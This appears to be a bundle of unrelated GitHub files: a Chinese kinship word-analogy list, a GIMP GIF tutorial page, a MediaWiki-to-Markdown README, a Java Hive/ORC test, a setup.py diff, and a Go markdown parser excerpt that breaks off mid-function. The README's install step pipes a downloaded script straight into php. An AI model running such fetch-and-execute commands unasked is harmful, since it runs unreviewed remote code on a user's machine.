爸爸 妈妈 男孩 女孩
爸爸 妈妈 兄弟 姐妹
父亲 母亲 祖父 祖母
父亲 母亲 爷爷 奶奶
父亲 母亲 孙子 孙女
父亲 母亲 新郎 新娘
父亲 母亲 丈夫 妻子
父亲 母亲 国王 王后
父亲 母亲 男人 女人
父亲 母亲 侄子 侄女
父亲 母亲 王子 公主
父亲 母亲 儿子 女儿
父亲 母亲 继父 继母
父亲 母亲 继子 继女
父亲 母亲 叔叔 阿姨
父亲 母亲 男孩 女孩
父亲 母亲 兄弟 姐妹
父亲 母亲 爸爸 妈妈
祖父 祖母 爷爷 奶奶
祖父 祖母 孙子 孙女
祖父 祖母 新郎 新娘
祖父 祖母 丈夫 妻子
祖父 祖母 国王 王后
祖父 祖母 男人 女人
祖父 祖母 侄子 侄女
祖父 祖母 王子 公主
祖父 祖母 儿子 女儿
祖父 祖母 继父 继母
祖父 祖母 继子 继女
祖父 祖母 叔叔 阿姨
祖父 祖母 男孩 女孩
祖父 祖母 兄弟 姐妹
祖父 祖母 爸爸 妈妈
祖父 祖母 父亲 母亲
爷爷 奶奶 孙子 孙女
爷爷 奶奶 新郎 新娘
爷爷 奶奶 丈夫 妻子
爷爷 奶奶 国王 王后
爷爷 奶奶 男人 女人
爷爷 奶奶 侄子 侄女
爷爷 奶奶 王子 公主
爷爷 奶奶 儿子 女儿
爷爷 奶奶 继父 继母
爷爷 奶奶 继子 继女
爷爷 奶奶 叔叔 阿姨
爷爷 奶奶 男孩 女孩
爷爷 奶奶 兄弟 姐妹
爷爷 奶奶 爸爸 妈妈
爷爷 奶奶 父亲 母亲
爷爷 奶奶 祖父 祖母
孙子 孙女 新郎 新娘
孙子 孙女 丈夫 妻子
孙子 孙女 国王 王后
孙子 孙女 男人 女人
孙子 孙女 侄子 侄女
孙子 孙女 王子 公主
孙子 孙女 儿子 女儿
孙子 孙女 继父 继母
孙子 孙女 继子 继女
孙子 孙女 叔叔 阿姨
孙子 孙女 男孩 女孩
孙子 孙女 兄弟 姐妹
孙子 孙女 爸爸 妈妈
孙子 孙女 父亲 母亲
孙子 孙女 祖父 祖母
孙子 孙女 爷爷 奶奶
新郎 新娘 丈夫 妻子
新郎 新娘 国王 王后
新郎 新娘 男人 女人
新郎 新娘 侄子 侄女
新郎 新娘 王子 公主
新郎 新娘 儿子 女儿
新郎 新娘 继父 继母
新郎 新娘 继子 继女
新郎 新娘 叔叔 阿姨
新郎 新娘 男孩 女孩
新郎 新娘 兄弟 姐妹
新郎 新娘 爸爸 妈妈
新郎 新娘 父亲 母亲
新郎 新娘 祖父 祖母
新郎 新娘 爷爷 奶奶
新郎 新娘 孙子 孙女
丈夫 妻子 国王 王后
丈夫 妻子 男人 女人
丈夫 妻子 侄子 侄女
丈夫 妻子 王子 公主
丈夫 妻子 儿子 女儿
丈夫 妻子 继父 继母
丈夫 妻子 继子 继女
丈夫 妻子 叔叔 阿姨
丈夫 妻子 男孩 女孩
丈夫 妻子 兄弟 姐妹
丈夫 妻子 爸爸 妈妈
丈夫 妻子 父亲 母亲
丈夫 妻子 祖父 祖母
丈夫 妻子 爷爷 奶奶
丈夫 妻子 孙子 孙女
丈夫 妻子 新郎 新娘
国王 王后 男人 女人
国王 王后 侄子 侄女
国王 王后 王子 公主
国王 王后 儿子 女儿
国王 王后 继父 继母
国王 王后 继子 继女
国王 王后 叔叔 阿姨
国王 王后 男孩 女孩
国王 王后 兄弟 姐妹
国王 王后 爸爸 妈妈
国王 王后 父亲 母亲
国王 王后 祖父 祖母
国王 王后 爷爷 奶奶
国王 王后 孙子 孙女
国王 王后 新郎 新娘
国王 王后 丈夫 妻子
男人 女人 侄子 侄女
男人 女人 王子 公主
男人 女人 儿子 女儿
男人 女人 继父 继母
男人 女人 继子 继女
男人 女人 叔叔 阿姨
男人 女人 男孩 女孩
男人 女人 兄弟 姐妹
男人 女人 爸爸 妈妈
男人 女人 父亲 母亲
男人 女人 祖父 祖母
男人 女人 爷爷 奶奶
男人 女人 孙子 孙女
男人 女人 新郎 新娘
男人 女人 丈夫 妻子
男人 女人 国王 王后
侄子 侄女 王子 公主
侄子 侄女 儿子 女儿
侄子 侄女 继父 继母
侄子 侄女 继子 继女
侄子 侄女 叔叔 阿姨
侄子 侄女 男孩 女孩
侄子 侄女 兄弟 姐妹
侄子 侄女 爸爸 妈妈
侄子 侄女 父亲 母亲
侄子 侄女 祖父 祖母
侄子 侄女 爷爷 奶奶
侄子 侄女 孙子 孙女
侄子 侄女 新郎 新娘
侄子 侄女 丈夫 妻子
侄子 侄女 国王 王后
侄子 侄女 男人 女人
王子 公主 儿子 女儿
王子 公主 继父 继母
王子 公主 继子 继女
王子 公主 叔叔 阿姨
王子 公主 男孩 女孩
王子 公主 兄弟 姐妹
王子 公主 爸爸 妈妈
王子 公主 父亲 母亲
王子 公主 祖父 祖母
王子 公主 爷爷 奶奶
王子 公主 孙子 孙女
王子 公主 新郎 新娘
王子 公主 丈夫 妻子
王子 公主 国王 王后
王子 公主 男人 女人
王子 公主 侄子 侄女
儿子 女儿 继父 继母
儿子 女儿 继子 继女
儿子 女儿 叔叔 阿姨
儿子 女儿 男孩 女孩
儿子 女儿 兄弟 姐妹
儿子 女儿 爸爸 妈妈
儿子 女儿 父亲 母亲
儿子 女儿 祖父 祖母
儿子 女儿 爷爷 奶奶
儿子 女儿 孙子 孙女
儿子 女儿 新郎 新娘
儿子 女儿 丈夫 妻子
儿子 女儿 国王 王后
儿子 女儿 男人 女人
儿子 女儿 侄子 侄女
儿子 女儿 王子 公主
继父 继母 继子 继女
继父 继母 叔叔 阿姨
继父 继母 男孩 女孩
继父 继母 兄弟 姐妹
继父 继母 爸爸 妈妈
继父 继母 父亲 母亲
继父 继母 祖父 祖母
继父 继母 爷爷 奶奶
继父 继母 孙子 孙女
继父 继母 新郎 新娘
继父 继母 丈夫 妻子
继父 继母 国王 王后
继父 继母 男人 女人
继父 继母 侄子 侄女
继父 继母 王子 公主
继父 继母 儿子 女儿
继子 继女 叔叔 阿姨
继子 继女 男孩 女孩
继子 继女 兄弟 姐妹
继子 继女 爸爸 妈妈
继子 继女 父亲 母亲
继子 继女 祖父 祖母
继子 继女 爷爷 奶奶
继子 继女 孙子 孙女
继子 继女 新郎 新娘
继子 继女 丈夫 妻子
继子 继女 国王 王后
继子 继女 男人 女人
继子 继女 侄子 侄女
继子 继女 王子 公主
继子 继女 儿子 女儿
继子 继女 继父 继母
叔叔 阿姨 男孩 女孩
叔叔 阿姨 兄弟 姐妹
叔叔 阿姨 爸爸 妈妈
叔叔 阿姨 父亲 母亲
叔叔 阿姨 祖父 祖母
叔叔 阿姨 爷爷 奶奶
叔叔 阿姨 孙子 孙女
叔叔 阿姨 新郎 新娘
叔叔 阿姨 丈夫 妻子
叔叔 阿姨 国王 王后
叔叔 阿姨 男人 女人
叔叔 阿姨 侄子 侄女
叔叔 阿姨 王子 公主
叔叔 阿姨 儿子 女儿
叔叔 阿姨 继父 继母
叔叔 阿姨 继子 继女
|
{
"pile_set_name": "Github"
}
|
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="zh-cn"><head>
<meta http-equiv="Content-Type" content="text/html; charset=GB2312" /><meta name="description" content="TeliuTe系列教程之GIMP基础教程" />
<meta name="Copyright" content="TeliuTe,86团学校,基础教程网" /><meta name="description" content="基础教程网,TeliuTe系列教程,一步一步教你学会使用电脑" />
<meta name="keywords" content="电脑,computer,GIMP,TeliuTe,86团学校,教程,基础,入门" /><meta name="author" content="TeliuTe" /><title>GIMP基础|优化GIF图像</title>
<style type="text/css">
<!--
body {
background-color: #CCFFFF;
}
.title {
font-family:"文泉驿正黑","黑体",Arial,Helvetica,sans-serif;
color: #FF0000;
font-size: 24px;
line-height:100%;
text-align:center
}
.brown {color: #800000}
.smlgren { font-size: 12px;
line-height: 10%;
color: #008000;
}
.tblue { color: #0000FF;
}
-->
</style></head>
<body dir="ltr">
<p class="title">GIMP操作基础教程</p>
<p class="smlgren">作者:Teliute 来源:基础教程网</p>
<p><span class="tblue">十、优化GIF图像 </span><a href="../index.html">返回目录</a></p>
<p> 网页中常常使用JPG图像和GIF 图像,GIF图像在处理颜色较少的图像时,尤其具有优点,下面我们来看一个练习;</p>
<p class="tblue"> 1、启动GIMP</p>
<p> 1)点上面板栏的<span class="brown">菜单</span>“应用程序-图像-GIMP图片编辑器”,就可以启动GIMP程序;</p>
<p> <img src="images/1cd.gif" alt="1cd.gif" /></p>
<p> 2)程序启动完成后,出来两个<span class="brown">长条</span>面板,如果还有一个“日积月累”面板,可以去掉下面的勾,点“关闭”;</p> <img src="images/4rjyl.gif" alt="4rjyl.gif" /><br /><br /> 把鼠标移到“<span class="brown">对话框</span>”长条面板的标题上,往右边拖一些,中间空出一块等会放新建的文档;<p> <span class="tblue">2、优化 GIF 图片</span></p><p> 1)点<span class="brown">菜单</span>“文件-打开..”命令,找到自己的文件夹,打开上次保存的“<span class="brown">窗口.xcf</span>”文件;</p><p> <img src="images/b1cd.gif" alt="b1cd.gif" /> <img src="images/b1chk.gif" alt="b1chk.gif" /></p> 2)由于窗口颜色很少,我们可以使用GIF格式,<span class="brown">点菜单</span>“图像-模式-索引(I)..”;<p> <img src="images/c1cd.gif" alt="c1cd.gif" /></p><p> 在出来的“索引转换”对话框中,把第一个里的<span class="brown">最大颜色</span>数量改为32,点“转换”按钮;</p><p> <img src="images/c1cd1.gif" alt="c1cd1.gif" /></p><p> 3)再点<span class="brown">菜单</span>“文件-另存为”命令,在出来保存对话框中,文件名输入 <span class="brown">zhuatu.gif</span> ,也就是加上了文件类型,注意这儿<span class="brown">都是</span>输入英文,</p><p> <img src="images/c2bc.gif" alt="c2bc.gif" /></p><p> 4)这儿也可以在对话框的<span class="brown">左下角</span>,点击“选择文件类型(按扩展名)”折叠按钮,然后选择“<span class="brown">GIF 图像</span>”,然后<span class="brown">再折叠</span>这个列表;</p><p> <img src="images/c2bc1.gif" alt="c2bc1.gif" /> <img src="images/c4lb.gif" alt="c4lb.gif" /></p><p> 5)点“保存”按钮,出来一个<span class="brown">选项</span>对话框,可以把里面的<span class="brown">注释</span>改成自己的,或者去掉勾,然后点保存即可;</p><p> <img src="images/c3bc.gif" alt="c3bc.gif" /></p> <span class="tblue">本节</span>学习了GIMP中保存和优化 GIF 图像的
基本方法,如果你成功地完成了练习,请继续学习;
<p><a href="../index.html">返回目录</a></p>
<p class="smlgren">本教程由86团学校TeliuTe制作|著作权所有,商业用途请与作者联系 </p>
<p class="smlgren">基础教程网:<a href="http://www.laxjyj.com/teliute/">http://www.laxjyj.com/teliute/</a></p>
<p class="smlgren">美丽的校园…… </p>
<p align="center">转载和引用本站内容,请保留版权信息和本站链接。</p>
</body></html>
|
{
"pile_set_name": "Github"
}
|
MediaWiki to Markdown
=====================
Convert MediaWiki pages to GitHub flavored Markdown (or other formats supported by Pandoc). The conversion uses an XML export from MediaWiki and converts each wiki page to an individual markdown file. Directory structures will be preserved. The generated export can also include frontmatter for Github pages.
You may also be interested in a forked version of this codebase available at https://github.com/outofcontrol/mediawiki-to-gfm
## Requirements
* PHP
* Pandoc
## Export MediaWiki Pages
You'll export all your pages as a single XML file following these steps: http://en.wikipedia.org/wiki/Help:Export
## Installation
### Install Pandoc
http://johnmacfarlane.net/pandoc/installing.html
### Get Composer
`curl -sS https://getcomposer.org/installer | php`
### Install Composer Packages
`php composer.phar install`
## Run
####--filename####
The only required parameter is `filename` for the name of the xml file you exported from MediaWiki, eg:
`php convert.php --filename=mediawiki.xml`
####--output####
You can also use `output` to specify an output folder since each wiki page in the XML file will generate it's own separate markdown file.
`php convert.php --filename=mediawiki.xml --output=export`
####--indexes####
You can set `indexes` as `true` if you want pages with the same name as a directory to be renamed as index.md and placed into their directory
`php convert.php --filename=mediawiki.xml --output=export --indexes=true`
####--frontmatter####
You can specify whether you want frontmatter included. This is automatically set to `true` when the output format is `markdown_github`
`php convert.php --filename=mediawiki.xml --output=export --format=markdown_phpextra --frontmatter=true`
####--format####
You can specify different output formats with `format`. The default is `markdown_github`. See
`php convert.php --filename=mediawiki.xml --output=export --format=markdown_phpextra`
Supported pandoc formats are:
* asciidoc
* beamer
* context
* docbook
* docx
* dokuwiki
* dzslides
* epub
* epub3
* fb2
* haddock
* html
* html5
* icml
* json
* latex
* man
* markdown
* markdown_github
* markdown_mmd
* markdown_phpextra
* markdown_strict
* mediawiki
* native
* odt
* opendocument
* opml
* org
* plain
* revealjs
* rst
* rtf
* s5
* slideous
* slidy
* texinfo
* textile
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright 2020 Confluent Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package io.confluent.connect.hdfs.orc;
import io.confluent.connect.hdfs.DataWriter;
import io.confluent.connect.hdfs.FileUtils;
import io.confluent.connect.hdfs.HdfsSinkConnectorConfig;
import io.confluent.connect.hdfs.hive.HiveTestBase;
import io.confluent.connect.hdfs.hive.HiveTestUtils;
import io.confluent.connect.hdfs.partitioner.DailyPartitioner;
import io.confluent.connect.hdfs.partitioner.FieldPartitioner;
import io.confluent.connect.hdfs.partitioner.TimeUtils;
import io.confluent.connect.storage.hive.HiveConfig;
import io.confluent.connect.storage.partitioner.PartitionerConfig;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.TimeUnit;
import org.apache.hadoop.hive.metastore.api.FieldSchema;
import org.apache.hadoop.hive.ql.metadata.Table;
import org.apache.kafka.connect.data.Field;
import org.apache.kafka.connect.data.Schema;
import org.apache.kafka.connect.data.Struct;
import org.apache.kafka.connect.sink.SinkRecord;
import org.joda.time.DateTime;
import org.joda.time.DateTimeZone;
import org.junit.Test;
import static org.junit.Assert.assertEquals;
public class HiveIntegrationOrcTest extends HiveTestBase {
private Map<String, String> localProps = new HashMap<>();
@Override
protected Map<String, String> createProps() {
Map<String, String> props = super.createProps();
props.put(HdfsSinkConnectorConfig.SHUTDOWN_TIMEOUT_CONFIG, "10000");
props.put(HdfsSinkConnectorConfig.FORMAT_CLASS_CONFIG, OrcFormat.class.getName());
props.putAll(localProps);
return props;
}
//@Before should be omitted in order to be able to add properties per test.
public void setUp() throws Exception {
super.setUp();
}
@Test
public void testSyncWithHiveOrc() throws Exception {
setUp();
DataWriter hdfsWriter = new DataWriter(connectorConfig, context, avroData);
hdfsWriter.recover(TOPIC_PARTITION);
List<SinkRecord> sinkRecords = createSinkRecords(7);
hdfsWriter.write(sinkRecords);
hdfsWriter.close();
hdfsWriter.stop();
localProps.put(HiveConfig.HIVE_INTEGRATION_CONFIG, "true");
HdfsSinkConnectorConfig config = new HdfsSinkConnectorConfig(createProps());
hdfsWriter = new DataWriter(config, context, avroData);
hdfsWriter.syncWithHive();
Schema schema = createSchema();
Struct expectedRecord = createRecord(schema);
List<String> expectedResult = new ArrayList<>();
List<String> expectedColumnNames = new ArrayList<>();
for (Field field : schema.fields()) {
expectedColumnNames.add(field.name());
expectedResult.add(String.valueOf(expectedRecord.get(field.name())));
}
Table table = hiveMetaStore.getTable(hiveDatabase, TOPIC);
List<String> actualColumnNames = new ArrayList<>();
for (FieldSchema column : table.getSd().getCols()) {
actualColumnNames.add(column.getName());
}
assertEquals(expectedColumnNames, actualColumnNames);
List<String> expectedPartitions = new ArrayList<>();
String directory = TOPIC + "/" + "partition=" + PARTITION;
expectedPartitions.add(FileUtils.directoryName(url, topicsDir.get(TOPIC), directory));
List<String> partitions = hiveMetaStore.listPartitions(hiveDatabase, TOPIC, (short)-1);
assertEquals(expectedPartitions, partitions);
hdfsWriter.close();
hdfsWriter.stop();
}
@Test
public void testHiveIntegrationOrc() throws Exception {
localProps.put(HiveConfig.HIVE_INTEGRATION_CONFIG, "true");
setUp();
DataWriter hdfsWriter = new DataWriter(connectorConfig, context, avroData);
hdfsWriter.recover(TOPIC_PARTITION);
List<SinkRecord> sinkRecords = createSinkRecords(7);
hdfsWriter.write(sinkRecords);
hdfsWriter.close();
hdfsWriter.stop();
Schema schema = createSchema();
Table table = hiveMetaStore.getTable(hiveDatabase, TOPIC);
List<String> expectedColumnNames = new ArrayList<>();
for (Field field : schema.fields()) {
expectedColumnNames.add(field.name());
}
List<String> actualColumnNames = new ArrayList<>();
for (FieldSchema column : table.getSd().getCols()) {
actualColumnNames.add(column.getName());
}
assertEquals(expectedColumnNames, actualColumnNames);
List<String> expectedPartitions = new ArrayList<>();
String directory = TOPIC + "/" + "partition=" + PARTITION;
expectedPartitions.add(FileUtils.directoryName(url, topicsDir.get(TOPIC), directory));
List<String> partitions = hiveMetaStore.listPartitions(hiveDatabase, TOPIC, (short)-1);
assertEquals(expectedPartitions, partitions);
}
@Test
public void testHiveIntegrationFieldPartitionerOrc() throws Exception {
localProps.put(HiveConfig.HIVE_INTEGRATION_CONFIG, "true");
localProps.put(PartitionerConfig.PARTITIONER_CLASS_CONFIG, FieldPartitioner.class.getName());
localProps.put(PartitionerConfig.PARTITION_FIELD_NAME_CONFIG, "int");
setUp();
DataWriter hdfsWriter = new DataWriter(connectorConfig, context, avroData);
Schema schema = createSchema();
List<Struct> records = createRecordBatches(schema, 3, 3);
List<SinkRecord> sinkRecords = createSinkRecords(records, schema);
hdfsWriter.write(sinkRecords);
hdfsWriter.close();
hdfsWriter.stop();
Table table = hiveMetaStore.getTable(hiveDatabase, TOPIC);
List<String> expectedColumnNames = new ArrayList<>();
for (Field field : schema.fields()) {
expectedColumnNames.add(field.name());
}
List<String> actualColumnNames = new ArrayList<>();
for (FieldSchema column : table.getSd().getCols()) {
actualColumnNames.add(column.getName());
}
assertEquals(expectedColumnNames, actualColumnNames);
List<String> partitionFieldNames = connectorConfig.getList(
PartitionerConfig.PARTITION_FIELD_NAME_CONFIG
);
String partitionFieldName = partitionFieldNames.get(0);
String directory1 = TOPIC + "/" + partitionFieldName + "=" + 16;
String directory2 = TOPIC + "/" + partitionFieldName + "=" + 17;
String directory3 = TOPIC + "/" + partitionFieldName + "=" + 18;
List<String> expectedPartitions = new ArrayList<>();
expectedPartitions.add(FileUtils.directoryName(url, topicsDir.get(TOPIC), directory1));
expectedPartitions.add(FileUtils.directoryName(url, topicsDir.get(TOPIC), directory2));
expectedPartitions.add(FileUtils.directoryName(url, topicsDir.get(TOPIC), directory3));
List<String> partitions = hiveMetaStore.listPartitions(hiveDatabase, TOPIC, (short)-1);
assertEquals(expectedPartitions, partitions);
List<List<String>> expectedResults = new ArrayList<>();
for (int i = 0; i < 3; ++i) {
for (int j = 0; j < 3; ++j) {
List<String> result = new ArrayList<>();
for (Field field : schema.fields()) {
result.add(String.valueOf(records.get(i).get(field.name())));
}
expectedResults.add(result);
}
}
String result = HiveTestUtils.runHive(
hiveExec,
"SELECT * FROM " + hiveMetaStore.tableNameConverter(TOPIC)
);
String[] rows = result.split("\n");
assertEquals(9, rows.length);
for (int i = 0; i < rows.length; ++i) {
String[] parts = HiveTestUtils.parseOutput(rows[i]);
int j = 0;
for (String expectedValue : expectedResults.get(i)) {
assertEquals(expectedValue, parts[j++]);
}
}
}
@Test
public void testHiveIntegrationTimeBasedPartitionerOrc() throws Exception {
localProps.put(HiveConfig.HIVE_INTEGRATION_CONFIG, "true");
localProps.put(PartitionerConfig.PARTITIONER_CLASS_CONFIG, DailyPartitioner.class.getName());
setUp();
DataWriter hdfsWriter = new DataWriter(connectorConfig, context, avroData);
Schema schema = createSchema();
List<Struct> records = createRecordBatches(schema, 3, 3);
List<SinkRecord> sinkRecords = createSinkRecords(records, schema);
hdfsWriter.write(sinkRecords);
hdfsWriter.close();
hdfsWriter.stop();
Table table = hiveMetaStore.getTable(hiveDatabase, TOPIC);
List<String> expectedColumnNames = new ArrayList<>();
for (Field field : schema.fields()) {
expectedColumnNames.add(field.name());
}
List<String> actualColumnNames = new ArrayList<>();
for (FieldSchema column : table.getSd().getCols()) {
actualColumnNames.add(column.getName());
}
assertEquals(expectedColumnNames, actualColumnNames);
String pathFormat = "'year'=YYYY/'month'=MM/'day'=dd";
DateTime dateTime = DateTime.now(DateTimeZone.forID("America/Los_Angeles"));
String encodedPartition = TimeUtils
.encodeTimestamp(TimeUnit.HOURS.toMillis(24), pathFormat, "America/Los_Angeles",
dateTime.getMillis());
String directory = TOPIC + "/" + encodedPartition;
List<String> expectedPartitions = new ArrayList<>();
expectedPartitions.add(FileUtils.directoryName(url, topicsDir.get(TOPIC), directory));
List<String> partitions = hiveMetaStore.listPartitions(hiveDatabase, TOPIC, (short)-1);
assertEquals(expectedPartitions, partitions);
ArrayList<String> partitionFields = new ArrayList<>();
String[] groups = encodedPartition.split("/");
for (String group : groups) {
String field = group.split("=")[1];
partitionFields.add(field);
}
List<List<String>> expectedResults = new ArrayList<>();
for (int j = 0; j < 3; ++j) {
for (int i = 0; i < 3; ++i) {
List<String> result = Arrays.asList("true",
String.valueOf(16 + i),
String.valueOf((long) (16 + i)),
String.valueOf(12.2f + i),
String.valueOf((double) (12.2f + i)),
partitionFields.get(0),
partitionFields.get(1),
partitionFields.get(2));
expectedResults.add(result);
}
}
String result = HiveTestUtils.runHive(
hiveExec,
"SELECT * FROM " + hiveMetaStore.tableNameConverter(TOPIC)
);
String[] rows = result.split("\n");
assertEquals(9, rows.length);
for (int i = 0; i < rows.length; ++i) {
String[] parts = HiveTestUtils.parseOutput(rows[i]);
int j = 0;
for (String expectedValue : expectedResults.get(i)) {
assertEquals(expectedValue, parts[j++]);
}
}
}
}
|
{
"pile_set_name": "Github"
}
|
diff --git a/setup.py b/setup.py
index c8681c2..41c21a5 100644
--- a/setup.py
+++ b/setup.py
@@ -10,8 +10,6 @@ import os
# deal with MPL sandbox violations during easy_install
os.environ['MPLCONFIGDIR'] = '.'
-import surfer
-
DISTNAME = 'pysurfer'
DESCRIPTION = descr
LONG_DESCRIPTION = descr
@@ -20,7 +18,7 @@ MAINTAINER_EMAIL = 'mwaskom@stanford.edu'
URL = 'http://pysurfer.github.com'
LICENSE = 'BSD (3-clause)'
DOWNLOAD_URL = 'https://github.com/nipy/PySurfer'
-VERSION = surfer.__version__
+VERSION = "0.4"
import setuptools # we are using a setuptools namespace
from numpy.distutils.core import setup
|
{
"pile_set_name": "Github"
}
|
package parser
import (
"bytes"
"regexp"
"strconv"
"github.com/gomarkdown/markdown/ast"
)
// Parsing of inline elements
var (
urlRe = `((https?|ftp):\/\/|\/)[-A-Za-z0-9+&@#\/%?=~_|!:,.;\(\)]+`
anchorRe = regexp.MustCompile(`^(<a\shref="` + urlRe + `"(\stitle="[^"<>]+")?\s?>` + urlRe + `<\/a>)`)
// TODO: improve this regexp to catch all possible entities:
htmlEntityRe = regexp.MustCompile(`&[a-z]{2,5};`)
)
// Inline parses text within a block.
// Each function returns the number of consumed chars.
func (p *Parser) Inline(currBlock ast.Node, data []byte) {
// handlers might call us recursively: enforce a maximum depth
if p.nesting >= p.maxNesting || len(data) == 0 {
return
}
p.nesting++
beg, end := 0, 0
n := len(data)
for end < n {
handler := p.inlineCallback[data[end]]
if handler == nil {
end++
continue
}
consumed, node := handler(p, data, end)
if consumed == 0 {
// no action from the callback
end++
continue
}
// copy inactive chars into the output
ast.AppendChild(currBlock, newTextNode(data[beg:end]))
if node != nil {
ast.AppendChild(currBlock, node)
}
beg = end + consumed
end = beg
}
if beg < n {
if data[end-1] == '\n' {
end--
}
ast.AppendChild(currBlock, newTextNode(data[beg:end]))
}
p.nesting--
}
// single and double emphasis parsing
func emphasis(p *Parser, data []byte, offset int) (int, ast.Node) {
data = data[offset:]
c := data[0]
n := len(data)
if n > 2 && data[1] != c {
// whitespace cannot follow an opening emphasis;
// strikethrough only takes two characters '~~'
if isSpace(data[1]) {
return 0, nil
}
if p.extensions&SuperSubscript != 0 && c == '~' {
// potential subscript, no spaces, except when escaped, helperEmphasis does
// not check that for us, so walk the bytes and check.
ret := skipUntilChar(data[1:], 0, c)
if ret == 0 {
return 0, nil
}
ret++ // we started with data[1:] above.
for i := 1; i < ret; i++ {
if isSpace(data[i]) && !isEscape(data, i) {
return 0, nil
}
}
sub := &ast.Subscript{}
sub.Literal = data[1:ret]
return ret + 1, sub
}
ret, node := helperEmphasis(p, data[1:], c)
if ret == 0 {
return 0, nil
}
return ret + 1, node
}
if n > 3 && data[1] == c && data[2] != c {
if isSpace(data[2]) {
return 0, nil
}
ret, node := helperDoubleEmphasis(p, data[2:], c)
if ret == 0 {
return 0, nil
}
return ret + 2, node
}
if n > 4 && data[1] == c && data[2] == c && data[3] != c {
if c == '~' || isSpace(data[3]) {
return 0, nil
}
ret, node := helperTripleEmphasis(p, data, 3, c)
if ret == 0 {
return 0, nil
}
return ret + 3, node
}
return 0, nil
}
func codeSpan(p *Parser, data []byte, offset int) (int, ast.Node) {
data = data[offset:]
// count the number of backticks in the delimiter
nb := skipChar(data, 0, '`')
// find the next delimiter
i, end := 0, 0
for end = nb; end < len(data) && i < nb; end++ {
if data[end] == '`' {
i++
} else {
i = 0
}
}
// no matching delimiter?
if i < nb && end >= len(data) {
return 0, nil
}
// trim outside whitespace
fBegin := nb
for fBegin < end && data[fBegin] == ' ' {
fBegin++
}
fEnd := end - nb
for fEnd > fBegin && data[fEnd-1] == ' ' {
fEnd--
}
// render the code span
if fBegin != fEnd {
code := &ast.Code{}
code.Literal = data[fBegin:fEnd]
return end, code
}
return end, nil
}
// newline preceded by two spaces becomes <br>
func maybeLineBreak(p *Parser, data []byte, offset int) (int, ast.Node) {
origOffset := offset
offset = skipChar(data, offset, ' ')
if offset < len(data) && data[offset] == '\n' {
if offset-origOffset >= 2 {
return offset - origOffset + 1, &ast.Hardbreak{}
}
return offset - origOffset, nil
}
return 0, nil
}
// newline without two spaces works when HardLineBreak is enabled
func lineBreak(p *Parser, data []byte, offset int) (int, ast.Node) {
if p.extensions&HardLineBreak != 0 {
return 1, &ast.Hardbreak{}
}
return 0, nil
}
type linkType int
const (
linkNormal linkType = iota
linkImg
linkDeferredFootnote
linkInlineFootnote
linkCitation
)
func isReferenceStyleLink(data []byte, pos int, t linkType) bool {
if t == linkDeferredFootnote {
return false
}
return pos < len(data)-1 && data[pos] == '[' && data[pos+1] != '^'
}
func maybeImage(p *Parser, data []byte, offset int) (int, ast.Node) {
if offset < len(data)-1 && data[offset+1] == '[' {
return link(p, data, offset)
}
return 0, nil
}
func maybeInlineFootnoteOrSuper(p *Parser, data []byte, offset int) (int, ast.Node) {
if offset < len(data)-1 && data[offset+1] == '[' {
return link(p, data, offset)
}
if p.extensions&SuperSubscript != 0 {
ret := skipUntilChar(data[offset:], 1, '^')
if ret == 0 {
return 0, nil
}
for i := offset; i < offset+ret; i++ {
if isSpace(data[i]) && !isEscape(data, i) {
return 0, nil
}
}
sup := &ast.Superscript{}
sup.Literal = data[offset+1 : offset+ret]
return ret + 1, sup
}
return 0, nil
}
// '[': parse a link or an image or a footnote or a citation
func link(p *Parser, data []byte, offset int) (int, ast.Node) {
// no links allowed inside regular links, footnote, and deferred footnotes
if p.insideLink && (offset > 0 && data[offset-1] == '[' || len(data)-1 > offset && data[offset+1] == '^') {
return 0, nil
}
var t linkType
switch {
// special case: ![^text] == deferred footnote (that follows something with
// an exclamation point)
case p.extensions&Footnotes != 0 && len(data)-1 > offset && data[offset+1] == '^':
t = linkDeferredFootnote
// ![alt] == image
case offset >= 0 && data[offset] == '!':
t = linkImg
offset++
// [@citation], [@-citation], [@?citation], [@!citation]
case p.extensions&Mmark != 0 && len(data)-1 > offset && data[offset+1] == '@':
t = linkCitation
// [text] == regular link
// ^[text] == inline footnote
// [^refId] == deferred footnote
case p.extensions&Footnotes != 0:
if offset >= 0 && data[offset] == '^' {
t = linkInlineFootnote
offset++
} else if len(data)-1 > offset && data[offset+1] == '^' {
t = linkDeferredFootnote
}
default:
t = linkNormal
}
data = data[offset:]
if t == linkCitation {
return citation(p, data, 0)
}
var (
i = 1
noteID int
title, link, linkID, altContent []byte
textHasNl = false
)
if t == linkDeferredFootnote {
i++
}
// look for the matching closing bracket
for level := 1; level > 0 && i < len(data); i++ {
switch {
case data[i] == '\n':
textHasNl = true
case data[i-1] == '\\':
continue
case data[i] == '[':
level++
case data[i] == ']':
level--
if level <= 0 {
i-- // compensate for extra i++ in for loop
}
}
}
if i >= len(data) {
return 0, nil
}
txtE := i
i++
var footnoteNode ast.Node
// skip any amount of whitespace or newline
// (this is much more lax than original markdown syntax)
i = skipSpace(data, i)
// inline style link
switch {
case i < len(data) && data[i] == '(':
// skip initial whitespace
i++
i = skipSpace(data, i)
linkB := i
brace := 0
// look for link end: ' " )
findlinkend:
for i < len(data) {
switch {
case data[i] == '\\':
i += 2
case data[i] == '(':
brace++
i++
case data[i] == ')':
if brace <= 0 {
break findlinkend
}
brace--
i++
case data[i] == '\'' || data[i] == '"':
break findlinkend
default:
i++
}
}
if i >= len(data) {
return 0, nil
}
linkE := i
// look for title end if present
titleB, titleE := 0, 0
if data[i] == '\'' || data[i] == '"' {
i++
titleB = i
titleEndCharFound := false
findtitleend:
for i < len(data) {
switch {
case data[i] == '\\':
i++
case data[i] == data[titleB-1]: // matching title delimiter
titleEndCharFound = true
case titleEndCharFound && data[i] == ')':
break findtitleend
}
i++
}
if i >= len(data) {
return 0, nil
}
// skip whitespace after title
titleE = i - 1
